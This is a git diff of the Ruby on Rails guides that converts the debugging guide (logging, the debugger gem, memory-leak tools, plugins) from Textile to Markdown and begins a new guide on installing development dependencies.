config.logger = Log4r::Logger.new("Application Log")
-</ruby>
+```
-TIP: By default, each log is created under +Rails.root/log/+ and the log file name is +environment_name.log+.
+TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`.
-h4. Log Levels
+### Log Levels
-When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the +Rails.logger.level+ method.
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `Rails.logger.level` method.
-The available log levels are: +:debug+, +:info+, +:warn+, +:error+, +:fatal+, and +:unknown+, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use
+The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use
-<ruby>
+```ruby
config.log_level = :warn # In any environment initializer, or
Rails.logger.level = 0 # at any time
-</ruby>
+```
This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
-TIP: The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
+TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode.
-h4. Sending Messages
+### Sending Messages
-To write in the current log use the +logger.(debug|info|warn|error|fatal)+ method from within a controller, model or mailer:
+To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
-<ruby>
+```ruby
logger.debug "Person attributes hash: #{@person.attributes.inspect}"
logger.info "Processing the request..."
logger.fatal "Terminating application, raised unrecoverable error!!!"
-</ruby>
+```
Here's an example of a method instrumented with extra logging:
-<ruby>
+```ruby
class PostsController < ApplicationController
# ...
@@ -167,11 +170,11 @@ class PostsController < ApplicationController
# ...
end
-</ruby>
+```
Here's an example of the log generated by this method:
-<shell>
+```
Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
@@ -187,71 +190,83 @@ Post should be valid: true
The post was saved and now the user is going to be redirected...
Redirected to #<Post:0x20af760>
Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
-</shell>
+```
Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
-h3. Debugging with the +debugger+ gem
+### Tagged Logging
+
+When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. `TaggedLogging` in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+```ruby
+logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+```
+
+Debugging with the `debugger` gem
+---------------------------------
When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
-h4. Setup
+### Setup
-Rails uses the +debugger+ gem to set breakpoints and step through live code. To install it, just run:
+Rails uses the `debugger` gem to set breakpoints and step through live code. To install it, just run:
-<shell>
+```bash
$ gem install debugger
-</shell>
+```
-Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the +debugger+ method.
+Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
Here's an example:
-<ruby>
+```ruby
class PeopleController < ApplicationController
def new
debugger
@person = Person.new
end
end
-</ruby>
+```
If you see the message in the console or logs:
-<shell>
+```
***** Debugger requested, but was not available: Start server with --debugger to enable *****
-</shell>
+```
-Make sure you have started your web server with the option +--debugger+:
+Make sure you have started your web server with the option `--debugger`:
-<shell>
+```bash
$ rails server --debugger
=> Booting WEBrick
=> Rails 3.0.0 application starting on http://0.0.0.0:3000
=> Debugger enabled
...
-</shell>
+```
-TIP: In development mode, you can dynamically +require \'debugger\'+ instead of restarting the server, if it was started without +--debugger+.
+TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, if it was started without `--debugger`.
-h4. The Shell
+### The Shell
-As soon as your application calls the +debugger+ method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt +(rdb:n)+. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
For example:
-<shell>
+```bash
@posts = Post.all
(rdb:7)
-</shell>
+```
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: +help+ (You didn't see that coming, right?)
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)
-<shell>
+```
(rdb:7) help
ruby-debug help v0.10.2
Type 'help <command-name>' for help on a specific command
@@ -262,15 +277,15 @@ break disable eval info p reload source undisplay
catch display exit irb pp restart step up
condition down finish list ps save thread var
continue edit frame method putl set tmate where
-</shell>
+```
-TIP: To view the help menu for any command use +help &lt;command-name&gt;+ in active debug mode. For example: _+help var+_
+TIP: To view the help menu for any command use `help <command-name>` in active debug mode. For example: _`help var`_
-The next command to learn is one of the most useful: +list+. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
+The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.
-This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
+This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.
-<shell>
+```
(rdb:7) list
[1, 10] in /PathToProject/posts_controller.rb
1 class PostsController < ApplicationController
@@ -283,11 +298,11 @@ This command shows you where you are in the code by printing 10 lines centered a
8 respond_to do |format|
9 format.html # index.html.erb
10 format.json { render :json => @posts }
-</shell>
+```
-If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
+If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.
-<shell>
+```
(rdb:7) l
[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
11 end
@@ -300,13 +315,13 @@ If you repeat the +list+ command, this time using just +l+, the next ten lines o
18
19 respond_to do |format|
20 format.html # show.html.erb
-</shell>
+```
-And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
-On the other hand, to see the previous ten lines you should type +list-+ (or +l-+)
+On the other hand, to see the previous ten lines you should type `list-` (or `l-`)
-<shell>
+```
(rdb:7) l-
[1, 10] in /PathToProject/posts_controller.rb
1 class PostsController < ApplicationController
@@ -319,12 +334,12 @@ On the other hand, to see the previous ten lines you should type +list-+ (or +l-
8 respond_to do |format|
9 format.html # index.html.erb
10 format.json { render :json => @posts }
-</shell>
+```
-This way you can move inside the file, being able to see the code above and over the line you added the +debugger+.
-Finally, to see where you are in the code again you can type +list=+
+This way you can move inside the file, being able to see the code above and over the line you added the `debugger`.
+Finally, to see where you are in the code again you can type `list=`
-<shell>
+```
(rdb:7) list=
[1, 10] in /PathToProject/posts_controller.rb
1 class PostsController < ApplicationController
@@ -337,17 +352,17 @@ Finally, to see where you are in the code again you can type +list=+
8 respond_to do |format|
9 format.html # index.html.erb
10 format.json { render :json => @posts }
-</shell>
+```
-h4. The Context
+### The Context
When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
-At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
+At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
-<shell>
+```
(rdb:5) where
#0 PostsController.index
at line /PathTo/project/app/controllers/posts_controller.rb:6
@@ -358,118 +373,118 @@ At any time you can call the +backtrace+ command (or its alias +where+) to print
#3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
...
-</shell>
+```
-You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
+You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
-<shell>
+```
(rdb:5) frame 2
#2 ActionController::Base.perform_action_without_filters
at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-</shell>
+```
The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
-Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
-h4. Threads
+### Threads
-The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
+The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
-* +thread+ shows the current thread.
-* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-* +thread stop _n_+ stop thread _n_.
-* +thread resume _n_+ resumes thread _n_.
-* +thread switch _n_+ switches the current thread context to _n_.
+* `thread` shows the current thread.
+* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread stop _n_` stop thread _n_.
+* `thread resume _n_` resumes thread _n_.
+* `thread switch _n_` switches the current thread context to _n_.
This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
-h4. Inspecting Variables
+### Inspecting Variables
Any expression can be evaluated in the current context. To evaluate an expression, just type it!
This example shows how you can print the instance_variables defined within the current context:
-<shell>
+```
@posts = Post.all
(rdb:11) instance_variables
["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-</shell>
+```
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
-<shell>
+```
(rdb:11) next
Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
Parameters: {"action"=>"index", "controller"=>"posts"}
/PathToProject/posts_controller.rb:8
respond_to do |format|
-</shell>
+```
And then ask again for the instance_variables:
-<shell>
+```
(rdb:11) instance_variables.include? "@posts"
true
-</shell>
+```
-Now +@posts+ is included in the instance variables, because the line defining it was executed.
+Now `@posts` is included in the instance variables, because the line defining it was executed.
-TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
-The +var+ method is the most convenient way to show variables and their values:
+The `var` method is the most convenient way to show variables and their values:
-<shell>
+```
var
(rdb:1) v[ar] const <object> show constants of object
(rdb:1) v[ar] g[lobal] show global variables
(rdb:1) v[ar] i[nstance] <object> show instance variables of object
(rdb:1) v[ar] l[ocal] show local variables
-</shell>
+```
This is a great way to inspect the values of the current context variables. For example:
-<shell>
+```
(rdb:9) var local
__dbg_verbose_save => false
-</shell>
+```
You can also inspect for an object method this way:
-<shell>
+```
(rdb:9) var instance Post.new
@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
@attributes_cache = {}
@new_record = true
-</shell>
+```
-TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
-You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
-<shell>
+```
(rdb:1) display @recent_comments
1: @recent_comments =
-</shell>
+```
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
-h4. Step by Step
+### Step by Step
Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
-Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to the debugger.
+Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger.
-TIP: You can also use <tt>step<plus> n</tt> and <tt>step- n</tt> to move forward or backward +n+ steps respectively.
+TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively.
-You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
-The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods.
+The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
-For example, consider this block of code with an included +debugger+ statement:
+For example, consider this block of code with an included `debugger` statement:
-<ruby>
+```ruby
class Author < ActiveRecord::Base
has_one :editorial
has_many :comments
@@ -479,11 +494,11 @@ class Author < ActiveRecord::Base
@recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
end
end
-</ruby>
+```
-TIP: You can use the debugger while using +rails console+. Just remember to +require "debugger"+ before calling the +debugger+ method.
+TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method.
-<shell>
+```
$ rails console
Loading development environment (Rails 3.1.0)
>> require "debugger"
@@ -493,11 +508,11 @@ Loading development environment (Rails 3.1.0)
>> author.find_recent_comments
/PathTo/project/app/models/author.rb:11
)
-</shell>
+```
With the code stopped, take a look around:
-<shell>
+```
(rdb:1) list
[2, 9] in /PathTo/project/app/models/author.rb
2 has_one :editorial
@@ -508,19 +523,19 @@ With the code stopped, take a look around:
=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
8 end
9 end
-</shell>
+```
You are at the end of the line, but... was this line executed? You can inspect the instance variables.
-<shell>
+```
(rdb:1) var instance
@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
@attributes_cache = {}
-</shell>
+```
-+@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
+`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:
-<shell>
+```
(rdb:1) next
/PathTo/project/app/models/author.rb:12
@recent_comments
@@ -529,136 +544,137 @@ You are at the end of the line, but... was this line executed? You can inspect t
@attributes_cache = {}
@comments = []
@recent_comments = []
-</shell>
+```
-Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
+Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed.
-If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
-h4. Breakpoints
+### Breakpoints
A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
-You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually:
+You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
-* +break line+: set breakpoint in the _line_ in the current source file.
-* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+* `break line`: set breakpoint in the _line_ in the current source file.
+* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
-<shell>
+```
(rdb:5) break 10
Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-</shell>
+```
-Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
-<shell>
+```
(rdb:5) info breakpoints
Num Enb What
1 y at filters.rb:10
-</shell>
+```
-To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
-<shell>
+```
(rdb:5) delete 1
(rdb:5) info breakpoints
No breakpoints.
-</shell>
+```
You can also enable or disable breakpoints:
-* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
+* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
-h4. Catching Exceptions
+### Catching Exceptions
-The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
-To list all active catchpoints use +catch+.
+To list all active catchpoints use `catch`.
-h4. Resuming Execution
+### Resuming Execution
There are two ways to resume execution of an application that is stopped in the debugger:
-* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
-h4. Editing
+### Editing
Two commands allow you to open code from the debugger into an editor:
-* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
-h4. Quitting
+### Quitting
-To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
+To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
-h4. Settings
+### Settings
-The +debugger+ gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
+The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options:
-* +set reload+: Reload source code when changed.
-* +set autolist+: Execute +list+ command on every breakpoint.
-* +set listsize _n_+: Set number of source lines to list by default to _n_.
-* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line
+* `set reload`: Reload source code when changed.
+* `set autolist`: Execute `list` command on every breakpoint.
+* `set listsize _n_`: Set number of source lines to list by default to _n_.
+* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
-You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command.
+You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command.
-TIP: You can save these settings in an +.rdebugrc+ file in your home directory. The debugger reads these global settings when it starts.
+TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts.
-Here's a good start for an +.rdebugrc+:
+Here's a good start for an `.rdebugrc`:
-<shell>
+```bash
set autolist
set forcestep
set listsize 25
-</shell>
+```
-h3. Debugging Memory Leaks
+Debugging Memory Leaks
+----------------------
A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
In this section, you will learn how to find and fix such leaks by using tools such as BleakHouse and Valgrind.
-h4. BleakHouse
+### BleakHouse
-"BleakHouse":https://github.com/evan/bleak_house/ is a library for finding memory leaks.
+[BleakHouse](https://github.com/evan/bleak_house/) is a library for finding memory leaks.
If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
To install it run:
-<shell>
+```bash
$ gem install bleak_house
-</shell>
+```
Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
-<ruby>
+```ruby
require 'bleak_house' if ENV['BLEAK_HOUSE']
-</ruby>
+```
Start a server instance with BleakHouse integration:
-<shell>
+```bash
$ RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server
-</shell>
+```
-Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
+Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`:
-<shell>
+```
** BleakHouse: working...
** BleakHouse: complete
** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-</shell>
+```
To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
-<shell>
+```
191691 total objects
Final heap size 191691 filled, 220961 free
Displaying top 20 most common line/class pairs
@@ -671,41 +687,41 @@ To analyze it, just run the listed command. The top 20 leakiest lines will be li
935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
...
-</shell>
+```
This way you can find where your application is leaking memory and fix it.
-If "BleakHouse":https://github.com/evan/bleak_house/ doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
+If [BleakHouse](https://github.com/evan/bleak_house/) doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
-h4. Valgrind
+### Valgrind
-"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
+[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions.
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates.
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
-For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
+For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver.
-h3. Plugins for Debugging
+Plugins for Debugging
+---------------------
There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
-* "Footnotes":https://github.com/josevalim/rails-footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* "Query Trace":https://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
-* "Query Stats":https://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
-* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* "Exception Notifier":https://github.com/smartinez87/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-* "Exception Logger":https://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
-
-h3. References
-
-* "ruby-debug Homepage":http://bashdb.sourceforge.net/ruby-debug/home-page.html
-* "debugger Homepage":http://github.com/cldwalker/debugger
-* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
-* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
-* "Ryan Bates' debugging ruby (revised) screencast":http://railscasts.com/episodes/54-debugging-ruby-revised
-* "Ryan Bates' stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
-* "Ryan Bates' logger screencast":http://railscasts.com/episodes/56-the-logger
-* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
-* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
-* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
-* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/
+* [Footnotes](https://github.com/josevalim/rails-footnotes:) Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* [Query Trace](https://github.com/ntalbott/query_trace/tree/master:) Adds query origin tracing to your logs.
+* [Query Reviewer](https://github.com/nesquena/query_reviewer:) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master:) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+
+References
+----------
+
+* [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html)
+* [debugger Homepage](http://github.com/cldwalker/debugger)
+* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/article/debug-rails-app-ruby-debug/)
+* [ruby-debug Basics screencast](http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/)
+* [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised)
+* [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace)
+* [Ryan Bates' logger screencast](http://railscasts.com/episodes/56-the-logger)
+* [Debugging with ruby-debug](http://bashdb.sourceforge.net/ruby-debug.html)
+* [ruby-debug cheat sheet](http://cheat.errtheblog.com/s/rdebug/)
+* [Ruby on Rails Wiki: How to Configure Logging](http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging)
+* [Bleak House Documentation](http://blog.evanweaver.com/files/doc/fauna/bleak_house/)
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
new file mode 100644
index 0000000000..aaf14f29c1
--- /dev/null
+++ b/guides/source/development_dependencies_install.md
@@ -0,0 +1,174 @@
+Development Dependencies Install
+================================
+
+This guide covers how to setup an environment for Ruby on Rails core development.
+
+--------------------------------------------------------------------------------
+
+The Easy Way
+------------
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+The Hard Way
+------------
+
+In case you can't use the Rails development box, see section above, these are the steps to manually build a development box for Ruby on Rails core development.
+
+### Install Git
+
+Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git:
+
+* [Everyday Git](http://schacon.github.com/git/everyday.html) will teach you just enough about Git to get by.
+* The [PeepCode screencast](https://peepcode.com/products/git) on Git ($9) is easier to follow.
+* [GitHub](http://help.github.com) offers links to a variety of Git resources.
